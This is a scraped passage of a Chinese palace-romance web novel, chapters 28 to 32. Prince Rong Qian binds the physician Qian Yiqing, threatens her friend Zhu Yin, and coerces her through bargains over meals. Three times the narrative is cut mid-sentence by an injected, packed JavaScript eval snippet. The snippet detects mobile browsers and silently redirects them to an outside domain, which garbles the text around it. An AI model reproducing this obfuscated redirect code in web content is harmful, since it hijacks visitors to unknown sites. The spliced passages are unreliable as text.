此刻千裔清终于弄明白容潜为什么要这样,他所做的这些原就是为了留下她。 可伤口是拖不得的,要么慢慢痊愈,要么慢慢死去。总要有个结果。 人亦如此。 千裔清摇头:“你这么一直拖着又能拖多久?” “多一天便是一天吧。”他无所谓道,而后认真地看着她,“我说过的,我对你始终如初。” 千裔清心中愧疚,忍不住提醒他:“我本就无意与皇族有什么瓜葛,我接近你是为了祝音,如今她和璟王已经结为连理,所以——” “所以——我对你没有利用价值了,是吗?”容潜脸色一凛,缓缓放下双手,又变回了那个孤高桀骜不可一世的崇安王,“千裔清,你非要把话说到这个份上吗?我给了你台阶的。” 这话说出来的确是伤人且不好听,但却是实话。 她无意于容潜。 “殿下恕罪。”千裔清垂眸,言下之意再明显不过。 垂下的头被轻轻抬起,容潜捏着她的下巴,力道不重也不轻,刚好能强迫她抬头看着他。 他一字一句:“我再问你一遍,你当真要把话说到如此地步,一丝一毫的退路都不留?” 千裔清委婉道:“只要殿下不再从中作梗,等殿下的伤好了我便走。” “好!” 回答她的是掷地有声的一个字,千裔清心中略微放松,她本以为容潜不会轻易放她的,没想到竟然答应了。 然而还没放松多久,只听他又说:“你这么自信,不如我跟你打个赌。” 千裔清被他没头没脑的一句话弄的怔然:“赌什么?” “赌你今日断了自己的后路,来日必定会回来求我。”容潜一笑,笑容未达眼底却势在必得。 千裔清拨开他的手:“殿下多虑了。” 门外突然响起宝山的声音。 宝山轻叩两下房门,接着才说:“殿下,璟王妃来拜访,说想见千千姑娘。” 璟王妃?是祝音? 容潜看向她,淡然的目光算是回应了她眼中的问询——是祝音没错。 在山上时她就时常想起和祝音在相府的日子。一别两年,也不知道祝音如今过得怎么样,这璟王妃的头衔听起来是不错。 千裔清面上一喜,正欲去前厅见她。 手腕蓦的被人拉住,千裔清回身看向衣衫之上的大掌,目光上移,对上的是容潜似笑非笑的脸。 容潜开口,话却是对门外的宝山说的:“告诉璟王妃在偏厅稍等片刻,若是等不及了自行离去便是。” 宝山:“是,小的这就去回话。” 千裔清心中顿时升起不好的预感,她疑惑地望向容潜。 面前的男人凤眼微眯,眉梢眼尾微微挑起,带着几分狭促。 再次开口,这次是对着她说的。 “你想见她?” “求我。” 29. 认错 前一刻才对他说过多虑了这种话,此刻就要来打自己的脸,未免也太巧合了。 想起他方才一脸胜券在握的样子,千裔清凝眉:“你早知道祝音会来?” “你回京的消息是我告知璟王府的,我自然知道她会来,不过——”他冷哼一声,嘴角微撇,“没想到她来的倒快,也不枉你为她的婚事百般筹谋。” 她的细腕还被容潜紧紧攥着,没有丝毫要放开的意思。怪不得他刚才如此势在必得的和她打赌,原来就是在这等着她上钩。 千裔清挣了几下大掌却是纹丝不动,她暗叹一声:“你有什么条件?” “我说过了,求我。”容潜重复了一遍,好整以暇的等着她的回应。 千裔清直觉这个“求”字不是那么好应允的,她挑眉问道:“我若是不肯呢?” 容潜轻轻笑了一声:“无妨。” 千裔清还没来得及猜测他这一声笑是什么含义,突然之间,整个人天旋地转,被他攥着手腕转了半圈,发尾甩出一个猝不及防的弧度。 千裔清惊道:“你做什么!” 容潜将她打横抱起放在床上,却在她还没反应过来时又把人反身按住,顺手撕下她中衫袖口的一缕雪纱,转眼间,千裔清双手被反剪着绑好,整串动作一气呵成。 “容潜!你有病啊!”饶是她再耐得住性子,此刻也不由得想骂他一句。 这人如此粗鲁卑鄙,哪里有个当朝王爷的样子!和君子更是毫不沾边。 容潜像是没听到一样,神态自若地又去绑她双脚:“既然你不愿意求我,那就老实在这里待着,等她走了,我就放你出去。” 他的手法很利索,三两下把自己绑了个结结实实,甚至打了个缚龙扣,任她如何挣脱都是没用的。 费尽全身力气,千裔清才艰难地爬起来,用一种十分不舒服的姿势屈膝坐着。 容潜上下把她打量一遍,很满意地点点头:“早知道便一早用这个法子了,也省得我拿剑砍伤自己。千裔清,你对容泽尚有宽容之心,怎么对我就不肯分一点儿怜悯呢?” “殿下现在是崇安王,难道还要和我这个小女子一般计较?我承认是我对不住你,也是我骗了你,你要实在放不下杀了我便是!”她仗着对容潜现存的几分了解,猜测他不会真的杀了自己。 容潜笑着看她:“杀你岂不是便宜了你?放心,我不杀你,不过......我可以杀了你最重视的——祝音。” 千裔清一听这话,瞳孔猛然收缩了一瞬,但她很快又安慰自己,祝音现在是璟王妃,是他的二哥容瑾明媒正娶的妻子,容潜不会动她,也不能。 只一个眼神而已,容潜立刻猜到她心中所想:“你是觉得我不敢杀她?” 千裔清漠然看着他,反问:“你敢吗?” 容潜不屑道:“璟王我尚且不放在眼里,一个璟王妃而已,我又如何会怕?” 千裔清急道:“璟王是你的亲兄弟,你怎能如此——” “我母亲只有我一个儿子,我何来的兄弟?”容潜打断她,眼中的淡然和冷漠一览无余,像是真的不在意一般。 其实这话本也没错,他与旁的兄弟皆是不同母家所生,唯一把他们紧密联系起来的只有一个先皇永光帝而已。然而很可惜,永光帝对他的生母怨恨至死,待容潜也并不好,甚至达不到一个养父的基准。 容潜不恨他逼死生母也便罢了,若此时和他谈父兄情义,真是有些可笑了。 可千裔清想不通,他从前是众多皇子中兄友弟恭的典范,怎么如今却变得冷血无情。 “不说话了?”容潜伸出手,帮她整理好额前凌乱的几缕碎发,“不如你求求我,今日之事我就当做没发生,不仅如此,我还可以放你去见见她,怎么样?” 绕来绕去,还是重新绕回了之前的那个话题。 千裔清不明白为什么容潜对这件事如此纠结,他就这么想让自己低头求他?这就是男人的自尊心吗? 动了动僵直的身子,千裔清垂下头,微微掀起眼睫看着容潜:“殿下,我知错了。” 下巴被男人的食指勾着抬起,正对上容潜的注目:“很好,继续。” 千裔清深吸口气,一脸要就义的样子:“昔日之事都是我的过错,殿下想怎么惩罚我都是我应得的,只是祝家对我有救命之恩,祝音于我如同亲生姐妹一般,还请殿下高抬贵手。” 容潜随意点点头,表情看起来却不甚满意,他紧盯着千裔清:“还有呢?” 还有? 千裔清一愣,咬着下唇垂眸想了一会儿:“还有什么?” 容潜道:“你要和我谈条件,总要有拿的出手的东西与我交换吧?” 她一介白衣,面前是夜南最为尊贵的王爷,她有什么能和他作为交换条件的。 对于他的问题,千裔清只能回之以疑惑的表情。 直到她盯着容潜的双眼看了片刻,捏着她下巴的拇指微微上移,温暖的触感缓缓来到她微凉的下唇之上,极尽温柔的动作在她的唇瓣上摩挲。 与她回望的目光跟着浅浅下移,最终锁定在他拇指所达之处。容潜幽幽开口:“莫把幺弦拨,怨极弦能说。” 他突然停住了,眼神似钩一般注视着她,示意她接着说下去。 这是她们初见之时,千裔清所奏之曲。 她战战兢兢开口,在他炙热的目光之下舌头宛若打了结:“心似......双丝网......心、心有......” 千千结。 - 祝音在偏殿等了许久,茶盏中的水凉了又换了新的。 通传的下人一早便提前说了,若等不及可以自行离去。 已经等了这么久,这就离开岂不是半途而废?也太亏了! 祝音想不通千千姐姐有什么事可以耽搁这么久,想起昔日宫宴上偶然见过的崇安王的样子,她缩了缩脖子。 算了,还是继续等吧。 一袭白衣的姑娘一脚跨进殿门的时候,祝音听到声音,一抬头就看到了那个熟悉的身影,如美玉不可方物。 祝音先是一怔,立刻激动地从椅子上跳起来,几步上前来到她面前,落在千裔清眼中时,已是眼圈泛红,珠泪满含,只需一眨眼就要如雨般滚落了。 眼前的小姑娘出落得更加标志了,穿着打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899865|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扮都彰显着尊贵的身份派头。 千裔清笑了笑,捏着袖子一角帮她擦眼泪:“都是璟王妃了,怎么行为举止还跟个未出阁的姑娘一样。” 如此天真心性,看来璟王待她很好,也把她保护的很好。 “谁让你一消失就是这么久,我还以为......”祝音撇着嘴,手忙脚乱地自己擦净了眼泪,脸上的脂粉都有些花了。 “以为再也见不到我了?”千裔清拉着她坐下,心中不免感叹。 若非容潜突然到来,也许真的再也见不到了。 祝音怯生生地点点头,又摇摇头,目光不经意的扫过她为自己擦泪的手,落在她的衣袖之上。外衫内层的霜白雪衫整齐的短了一截,纱线像新生的嫩草一样露着短短的一头。 “千千姐姐,你袖子怎么少了一截?”祝音被它吸引了注意,一时也忘了哭了。 经祝音一提醒,她才想起自己急着过来,倒是忘了先换身衣裳了。 “哦......不小心弄破了。”千裔清尴尬地笑笑,把外衫向下扯了扯,算是遮掩住了里头的残景,“对了,这段日子你过的好吗?璟王对你好不好?” “我很好,你呢?这么长时间你都在哪里啊?你知不知道崇安王一直在找你啊!” 千裔清微微扯动嘴角,露出一个自嘲的笑:“一言难尽......不过看到你好我就放心了。” 祝音很怕戳到她的伤心处,小心翼翼地试探:“听说是......佑王?” “嗯。”千裔清点点头,一脸不在意地问道,“佑王现在怎么样?我曾问过宫中的小太监,他们只说佑王如今收敛了许多,别的不大清楚。” “自从崇安王名声大振后,佑王的确是收敛了不少,也很少进宫了......应该是对他有所忌惮吧。” “那容潜可有找过他麻烦?” 祝音一愣,伸着脑袋向殿外张望,确认没有人后才缩回脑袋:“没有,他们之后似乎再没什么交集了。不过姐姐,你怎么能直呼崇安王的大名呢?这要是被他听到那还了得?” 听到就听到,他又不是没听过。 千裔清鄙夷地微微蹙眉。 “不过是你的话应该也没事......对了,你怎么那么久才来呀,你在这里住的还习惯吗?崇安王有没有为难你?”祝音絮絮叨叨问了一大串问题,目光落在千裔清脸上却是越看越觉得不对,“欸?千千姐姐,你的嘴怎么又红又肿的,是上火了吗?” 千裔清面上闪过一丝不自然,随口应付道:“许是水土不服吧,没什么问题,休息两日就好了。” “哦......那就好!”祝音笑了笑,又咋咋呼呼地跟她讲这两年皇城发生的事。 千裔清一面听着,脑海中不自觉的浮现出方才在他床榻之上那句没念完的诗句。 她早该猜到他的不怀好意。 刚过一盏茶的时间,宝山十分准时地进来了。 “见过璟王妃。”宝山恭敬地鞠了一礼,转而对着千裔清道,“千千姑娘,殿下说时间到了,该请璟王妃回去了。” 祝音疑惑道:“姐姐,你待会儿还有什么事吗?” 30. 威胁 千裔清不知该如何向祝音解释。 她的确是终于被应允来见面,然而也的确只有一盏茶的时间。 这府上的下人真不愧是在崇安王手下做事的,连计时都是分毫不差。 千裔清只好起身,浅笑着对祝音解释:“皇上交代的事我还没做完,今日你先回府,改日我再去璟王府上找你好不好?” “可是......”祝音担心地看了她一眼,“千千姐姐,想必你也听说了崇安王的事,你当真要继续留在这里吗?他会不会为难你啊?” 余光扫过一旁低着头耐心等候的宝山,宝山一副两耳听不进任何事的样子,但千裔清却无法对他提起信任。他是容潜贴身的人,任何话都有可能传进他的主子耳朵里。 于是她拉上祝音的手,安抚地拍了拍:“崇安王待我挺好的,放心吧。宝山,送璟王妃出门吧。” “那好吧,改日我再和玉衡哥哥一起来看你。”祝音点点头,恋恋不舍地一步三回头。 千裔清看着祝音的背影拐了个弯消失在自己的视野之内。 她陡然想起,祝音今年已有十七岁,身形比前两年更高挑了一些,已经和自己齐平了。早些年圆润的小脸线条更加清晰,五官倒是没太大的变化。 两年时间如白驹过隙,眼前人仿佛还是往昔的样子,只有自己还是孤身飘零。 ......也不知道师傅有没有找到方幼渺。 方幼渺...... 想到这个名字她就觉得头疼,容烨莫非是藏了什么人在宫中,兴许还是个脸上挂了那位方大师手艺的人。 好在送祝音出府的宝山又折回来,及时打断了她继续头疼下去的行为。 宝山躬身道:“千千姑娘,布庄的婆子过来了,殿下请您去配殿量尺寸。” 千裔清收回散乱的心神,满脸疑惑:“量什么尺寸?” 宝山转了转眼珠,偷偷笑了两声,暗示道:“殿下说弄坏了您的衣裳,所以理应赔给您。” 千裔清咬牙。他是故意的吧,说出这种让人误会的话。 面上却是端着,尽力保持着看起来端庄耐心的姿态:“知道了,我这就去,替我谢谢殿下的好意。” “小的明白。”宝山揶揄地答她,一脸知道该怎么做的样子。 千裔清:“......” - 张婆子带了小丫头一道入王府,一个给她量衣裳尺寸,一个带了布料的花色样式给千裔清看,问她喜欢哪一个。 千裔清觉得自己像个提线木偶任人摆弄,她眼睛里看不进去那些花花绿绿的布料,随口说道:“选几个素净些的就行,白色最好。” 丫头把她从头到脚仔细看了一遍:“姑娘穿白色是好看,不过却不大显气色,不如选些明艳的颜色试试?” 若是以前,她还是很喜欢那些娇嫩鲜艳的颜色,然而时过境迁,或许是习惯,又或许是心性变了,看着眼前那些明线暗织的纹样,她总觉得有些难以接受。 千裔清拒绝道:“不了,照我说的做就好。” 推荐失败,小丫头有点丧气。 两人忙完,收拾着东西出门,迎面就撞上了一身黑色锦袍的男人。 身上的气势让他不怒自威,张婆子是见过世面的,跟着的小丫头却忍不住缩着脖子躲在她身后。 容潜随意扫了二人一眼:“量好了?” 张婆子忙应道:“回王爷的话,已经量好了。” “嗯。”容潜点点头,“选了什么样式?” 张婆子悄悄伸手在小丫头肩膀拍了两下,身后的人反应过来,将册子递了过去一一细说着。 容潜皱眉,看了一眼房中站着正在整理衣裳的人,对着二人嘱咐道:“不必听她的,将你们布庄所有时兴的颜色款式都制好送到王府。” “哎!王爷放心!咱们布庄的绣娘、裁缝都是是京上最多最巧的,保管给您尽快送来!”张婆子一喜,没想到还是桩极大的生意。 “嗯。”容潜把手中册子往她竹篮中一丢,大步朝里头走去。 千裔清正在系腰上的丝衿,因她身体孱弱不少,柔白色的丝帛在腰上缠了两圈仍是有足够的余量。 她手指一顿,颇有些伤感地暗叹一声。 一双骨节分明的手蓦的从身后腰际探出,黑色的暗纹衣袖与她身上朴素的白色形成鲜明的对比。 千裔清一惊,正想躲过他,那人却迅速按住她的双手,下巴似触非触地搁在她肩头,正好把她卡在怀里。 “别动。”灼热的吐息在她侧脸低声耳语,熟悉沉静的熏香气息把她包裹。 千裔清按下心中惊疑,尽量用平静的语气问道:“容潜?” “嗯。”淡淡的一声,算是回应。 强烈的身高对比让他不得不躬着背才能和她亲近一些,垂着头的姿势并不太舒服,容潜却仍觉得很享受。 修长的手指在她腰间的丝帛上慢条斯理地摆弄。 千裔清不敢动,只敢默默看着。 像是在帮她系上,可这动作也太慢了。 但她也不敢出声询问,更不敢转头看他的表情,因此也就注意不到容潜嘴角挂着的那一丝若有似无的笑意。 似是过了许久,她抻着脖子维持动作已经让她腰酸背痛,身后那人终于系好了。 笼着她的黑影缓缓离开,周遭的压力终于渐渐消散,千裔清暗自舒了一口气,一回身,容潜正面无表情的看着她,仿佛方才与她动作亲昵的人是旁人一样。 “你好像瘦了许多。”他早就发觉她比以前清瘦了,原以为女子轻减本是正常,随着几次确认,他发现她的清瘦好像并不正常。 以前千裔清虽然也很纤细,但是环着他的时候,身上是软的。 如今,他只需稍一用力,就能清晰感受到她身上的骨头,像无数的刀子一样硌着他的心脏。 好疼。 他想从她的脸上看出些许端倪,然而千裔清只是浅浅一笑,神态自若道:“古有楚王好细腰,汉有飞燕食番花,自古以来女子都以瘦为美,殿下未免太大惊小怪了。” 容潜目不别视,深潭一样的双眼闪过一丝复杂:“今日与我一同用膳。” 千裔清讶然,刚一张口,只见容潜眯着眼危险道:“你想拒绝?” 她思虑片刻,推诿着:“殿下今日的药还没来得及煎。” “这种事不需要你亲手去做。”容潜打断她,目光沉沉,“你要是敢拒绝,我就——” “就怎么样?”问出口的瞬间她又险些闪了舌头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899866|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她不该问的,依容潜的性子必定说不出什么好话,可他上扬的尾调还是勾起了她的兴趣,让她忍不住好奇。 她惊讶的发现,他现在真的很擅长拿捏自己。 容潜微微勾起唇角,一手覆上她的手背,完完全全把她攥起的拳头握在掌心。 “我就去告诉皇兄——神医说她不想活了。” “你!” 千裔清咬牙,他又在威胁她! 偏偏这招对她十分管用。 结果再明显不过了,容潜眉梢带了一丝得逞的愉悦,拉着她的手往外走。 - 月上梢头,细枝上的叶子沙沙的落,原是两只珠颈斑鸠立了上去,“咕咕——咕咕——”的交错着吵闹。 屋檐之下,内膳厅里,桌上的菜式又多又精巧,足有二十余道。眼前不乏许多酸甜爽辣的口味,一看就知道是为千裔清准备的。 这些菜式都是她素日爱吃的,也难得容潜记得清清楚楚。只是在山上的日子,每天的吃食并不能算得上美味,只是裹腹而已。时间久了,她也就习惯了,因此也不在食物上有什么挑剔。 千裔清顿了顿,夹了块板栗烧鸡放进碗里。 “好吃吗?”容潜问道,同时盛了一碗赤枣乌鸡汤放在她跟前。 千裔清点点头,却见容潜只是撑着手臂看她,自己却没动筷子。 她咽下口中的鸡块,疑惑道:“你怎么不吃?” “不急。” 容潜看着她,似乎是笑了一下,很轻,却是相逢以来她见过的最为柔和的笑,恍惚间与从前那个和煦的少年身影交叠。 这种特别的感触让千裔清有片刻的失神,她忙端起面前的汤碗,翠绿的碧色小碗,汤匙和碗碟碰撞发出清脆的“叮当”声。 这汤好香,连这赤枣都是精选的,又大颗,又香甜。 一边喝着,透过碗沿缝隙,余光见到偌大的厅堂中,原本站在一旁待命的下人不知什么时候已经尽数退下。 也就是说,现在这房里只有她们两个了? “咳咳——” 千裔清心中一紧,不小心被碗中香羹呛了一下。 “慢点喝。”容潜拿起锦帕蘸去她嘴角的汤渍,动作轻柔细致的令她头皮发紧。 千裔清别过眼,抢了他手中的锦帕在脸上随意蹭了几下:“我自己来。” 他该不会要等自己吃完再动筷子吧? 这想法在脑海中刚一闪过,千裔清就觉得自己胃口好像更不好了。 草草填了几口饭,正欲放下筷子,碗碟上突然伸进一双筷子,夹着块糖醋鲤鱼放进她碗里。 回应她疑惑目光的是一双含着宠溺笑意的眼睛,在殿中的明黄灯火下熠熠发光。 容潜对着他送上的鲤鱼扬了扬下巴:“剔了刺的。” 好意都送到嘴边了,她总不好再驳人家的面子。 千裔清没说话,默默把碗里的吃了。 再一次打算放下筷子,碗中赫然又多了块糟香鹌鹑。 手上的动作顿了顿,很快她安慰自己:行,也不差这一口。 于是吃完。 还没咽下去,眼前又添了块椒香的梅菜扣肉。 ? 怎么还续上菜了? 31. 哄她 如果说方才她是因为觉得惶然而没胃口,那么现在她就是真的被喂饱了。 千裔清放下筷子,委婉道:“殿下不必顾着我,菜要凉了。” 容潜诧异她的胃口竟然小到这般田地,当真她在减重,颇有些不满:“再吃一些,否则传出去还以为我崇安王府虐待你。” 把她困在这里难道还不算虐待? “殿下还会在意这些虚言?”千裔清忍不住挑眉看他,若他真的在乎这些传言,何至于满城皆对他又敬又怕。 容潜不想听她故意扯开话题,此时此刻他想的是如何让千裔清多吃点东西。于是他又问道:“你吃不吃?” “不吃。”一声干脆的回答,千裔清甚至把碗推远了一些,用行动表示她的坚持。 从未有人敢忤逆现下的崇安王,再加上他如今的脾气的确是不好,听到这话,他险些就要发作。 握在筷子上的手指刚一攥紧,容潜原本紧绷的脸突然舒展了眉头,他看着千裔清,面色缓和了一些:“你是想让我哄你?” 这下轮到千裔清拧眉不解。 他......是不是又会错意了? 千裔清拿出自己能做出的最为诚恳的表情,一字一句向他解释:“殿下误会了,我如今脾胃不大好,吃不了许多。” “你太瘦了。”容潜摇头,在她眉眼分明的脸颊上轻轻捏了一下,而后笑道,“抱着不舒服。” 千裔清低眉顺眼地离他远些,距离那只捏她脸颊的手保持一段安全距离:“敢问殿下,我现在是连吃饭的自由都没有了吗?” 容潜觉得她这话好笑,歪着头道:“入了我崇安王府,你还想要自由?” 千裔清冷眼瞧他:“我记得殿下带我回霜序居时曾允我想做什么就做什么,日后若有自己的打算和您知会一声即可,怎么殿下是记性不大好?” 千裔清其实是有些伤感和感慨的。从前的容潜在眼中像个透明的,从外到内她都看得清楚,可以轻易猜透他的心思,也因为拿捏住了他的善良,她才兵行险招。 现在的容潜却总是轻易扼住她的命门,几句话就可以把她死死拿捏住,他能几句话间看穿她下一步的想法,而她却看不懂他了。 容潜的脸上好像裹了许多层厚厚的面具,分不清哪层是真,哪层是假,他只让旁人看到他想让人看到的。这样子很像璟王。 不,他比璟王更难应付。 容潜并不生气,反而对她清楚记得自己的话感到意外和惊喜。 他面色如常:“我记性很好,不过......容怀瑕对你的许诺,关我容潜什么事?” “好了。”容潜不再逗她,心中的一丝雀跃让方才被拒绝的愠怒一扫而空,转而是他诚恳坦然的目光牢牢锁着她,柔声细语,“再吃一点,我喂你?” 勺子已经递到嘴边,不过是一小块沾着红椒的扣肉而已。 总不至于为了这么一筷子肉得罪他。 想通了这一点,千裔清不再争辩,垂下眼睫张口。 八分瘦的梅菜扣肉带着丝丝辣意,不肥更不腻,很好入口。刚嚼了两下便顺着舌根吞咽下去,千裔清抬眼,乖巧含水的眼睛看着他,示意他自己已经听话吃下了。 容潜很满意,笑意溢出了唇边、眼角、眉梢处,饶是他再刻意掩饰都无法藏匿干净。 千裔清问道:“可以了?”是不是能放她走了? 显然不行。 容潜勾着唇又舀了一勺蟹黄豆腐送到她嘴边:“再吃一点。” 没完没了了是吧! 容潜看出她生气了,耐着性子补充:“最后一口。” 吃完这一口总还有下一口,他现在是个不讲信用的人! “不吃!”千裔清无论如何不肯吃了,瞪着他的眼染着怒气。 捏着勺子的手没动,那勺黄白分明的蟹黄豆腐扔在她的嘴边候着。 容潜想了想,和她打起了商量:“你把它吃了,我就答应让你再见一次祝音,好不好?” “真的?”千裔清眸光一亮,一脸惊喜。 但她很快又沮丧起来,她觉得这是容潜的权宜之策,不过是为了哄骗她听话满足他的自尊心罢了。 “你若不信我,我可以给你立字据。”他语气诚恳,看着她的目光没有半分心虚。 一勺豆腐而已,至少有可能换来一次见面的机会,她有什么吃亏的。 千裔清为自己的不争气和自我安慰感到丢脸,她皱着鼻子哼了一声,算是表达她的不满:“不用了,我信殿下。” 张嘴吃下那满满一勺的豆腐,鲜嫩的豆腐也是很好消化的,不至于让她难受。今晚相较于从前,她的确算是吃了不少。 这也正是容潜的目的。 他放下勺子,又对她说道:“别走,陪我吃。” 千裔清知道皇宫贵族用饭向来是有人服侍的,眼下房中再没别的下人,她虽然没做过,却也不敢不问一句。 “需要我替殿下布菜吗?” 容潜看了她一眼:“不用。” 还好。 千裔清暗自放松,突然觉得这位崇安王原来挺好说话的。 看容潜吃饭也算是一种享受,他人长得好看,吃饭的动作也优雅贵气,若他不是一味的暴戾凶残,应该也是许多夜南女子的倾慕对象。 可惜了,这么好的一张脸偏偏是个喜欢要人性命的主儿。 看得久了,容潜终于忍不住停下筷子:“这么看着我做什么?像要把我吃了似的。” 这一声出来,方才营造的美好氛围瞬间全无,千裔清凝神:“没事,就是想让殿下吃快些,我要休息了。” 这话倒不是骗他,她是真的有些困了,身子原本就乏,再加上天气渐渐热了起来,寻常人尚且容易犯懒,更何况是她了。 “每日睡到巳时才起,这会儿就又困了?”容潜抬头望了一眼门外的天色,满脸写着不信。 “起得晚就不能睡得早吗?” 容潜默然,细细打量着她,见她神色的确不像是装的。这便更疑惑了:“你几时如此嗜睡了?” “唔——许久了,记不清了。”她打着马虎眼。 容潜神色一凛,一手扼住她脉搏。 “你做什么?”千裔清被他这动作惊到,瞬间来了几分精神。 容潜没答她,片刻后,他脸色变得有点古怪。 黄岐之术他虽不精通,却也略懂一些。他一直以为千裔清拜入鬼医门下习得一身医术,比之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899867|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当世者只好不差,因此从未怀疑过她身体有恙。 直到今日为她诊脉,虚浮的脉搏在他指腹上无力地跳着,容潜这才意识到不对。 “你身体有疾?” “算是吧。”千裔清愣了一下,抽出手藏进袖管。 “什么叫算是?”容潜怒视着她,声音跟着一同大了起来,引得路过的家仆听到后也一缩脖子,加快脚步离开这个是非之地。 千裔清注意到路过的家仆,许是以为两人又在吵闹了,她颇感无奈:“是,我的确有旧疾,我师傅尚且无法医治,殿下还是不要操心了!” 男人的嗓音低了几分,含沙一般带着怒意和怨气:“为什么不告诉我?” “告诉你有什么用?难道殿下会治?” 千裔清侧过脑袋,一副等着他作答的样子。她倒要看看他有什么法子给她治。 容潜知道自己语气重了些,他强压下心中不快,解释道:“宫中有御医。” “宫中御医若是有用,殿下又何以会奉命去山上寻我?” 容潜叹了口气,面对这张他朝思暮想的面容,突然觉得自己输的彻底。 “我去找你并不是奉皇兄的命去找你。” “我找你,只是因为我想见你。” “现在的我不再是任人揉捏的九皇子,我是崇安王,我有足够的能力保护你,所以你......能不能再给我一次机会?” 眼前的男人从少年稚气成长至如今的不可一世,恳切的目光,掷地有声的坦诚表白,换做任何一个女人都无法不心动。 但千裔清的心是很硬的。不爱就是不爱,她可以骗任何人,却不能骗自己。 这些话若是放在以前,她或许会毫不犹豫的答应。 可现在,晚了。 容潜读懂了她的想法,那对琉璃色的眸子由期翼到失落似乎只在一瞬间。 于是他抹去了自己的卑微,藏起了自己的失望,重新回到那个高高在上的崇安王,噙着冷笑看着她:“你真以为你走得了吗?皇兄的旨意不过是个幌子,他的目的和我一样,都只是为了把你送到我身边。” 千裔清并不感到意外,她相信容潜有这个心思,也有这个能力。 “若我非走不可呢?殿下是要绑了我还是杀了我?若殿下想强留我在身边也无妨,只不过我不会再向从前那样讨好你,怕是会坏了殿下的兴致。” “谁说我要强留你?”容潜嗤笑一声,挑起她的下巴凑近低语,声音极具魅惑,“你信不信,不日之后你就会来求我,让我留你在身边?” “怎么,你又要拿祝音威胁我?”经过和祝音的相见,她心中已经有了几分把握,“即便你想伤害祝音也要问问璟王是否同意,你以为他会袖手旁观吗?” 容潜不以为然,“杀了祝音你岂非要恨我一辈子,不值。” 话锋一转,他突然说道:“绥夏的皎月公主不日便要来朝,绥夏与夜南虽向来不睦却也拿我们束手无策,此番前来是有避战求和之意。” 千裔清挑眉,等着他继续说下去。 容潜却是不肯多言了,末了,他狭促地一笑,凤眼微微弯起,贴在她耳廓轻声问:“你猜......绥夏求和为什么会带公主来呢?” 32. 算计 既然是求和,必然要带贵礼。 显然,这位皎月公主就是绥夏此次前来所呈的贵礼。 绥夏的意图再明显不过,带公主前来,无非是把公主送进夜南或把夜南皇室宗亲带回绥夏。 和亲,古往今来的传统。 可眼下容烨并无子嗣,即便他有,年纪也是不足以和亲的。那么便只能请公主嫁入后宫或从几位王爷中选择一位。 这想法在脑海中一闪而过,她立刻打消了自己的担心。她不信就这么偏巧,皎月公主会选上璟王:“皎月公主心高气傲,想来不会愿意和别的女人共侍一夫,更不会给容瑾做小。” “是吗?可我听说皎月公主素来喜好相貌英俊的男子,二哥那张脸,天下没有几个人能拒绝。”千裔清算是一个,想到这里,他笑了笑继续说道,“不过有一点你说的不错,皎月公主张扬跋扈是出了名的,她不会和别的女人共侍一夫,也不会委屈无权给人做小。” 顿了顿,他道出千裔清心中的猜测:“她会让那个委屈她的女人直接消失。” 好一个借刀杀人! 容潜这是打算让皎月公主替他除掉祝音? 不,不会的。 千裔清沉了沉心神,找出了他话中的漏洞:“这一切不过是你的猜测,夜南还有皇上、还有佑王、还有……” “还有我是吗?”容潜冷然一笑,目光在她面上扫过。一遍,又一遍,“你想让她嫁于我?” 他语调微凉,听不出情绪:“千裔清,你对我当真没有半分感情。” 这话像是在埋怨她凉薄,又像是在告诫他自己。 千裔清有点心虚,小声道:“我没有这么说。” “无妨。”他掀了掀唇角,又是那副势在必得的表情看着她,“她想选谁是她的自由,但她能选谁——是我的本事。” 容潜目光灼灼地望进她的眼睛里,渺小的自己好像陷进了他琉璃般的深潭之中,漆黑的潭水把她淹没包裹,她挣扎不得。千裔清不喜欢这种感觉,好像所有的一切都在他的把控中,而自己是任人宰割的弱者、棋子。 这种命运不被自己掌控的感觉,她很厌恶。 容潜则很享受这种感觉,他觉得她的未来一定要握在他的掌心才算完美。而现在,他正在一步步向目标走近。 于是他扬唇一笑,桀骜又不可一世地看着她,又一次向她提出了相同的问题:“你敢和我赌吗?” 千裔清没胆子和他赌,上一次他问出这句话时,不过眨眼间便打了她的脸。因此这次她不敢回答了。 同样的,她相信璟王对祝音的心意,容潜和璟王一样皆是王侯,他又不是当朝天子,还能做得了璟王的主? 璟王,那是差一步就坐上龙椅的人物,他和容烨也只差了一个得宠的母妃罢了。 千裔清垂眸:“我相信事在人为,也相信缘分天定,旁人的事,我不会和你赌。” “是不会,还是不敢?” 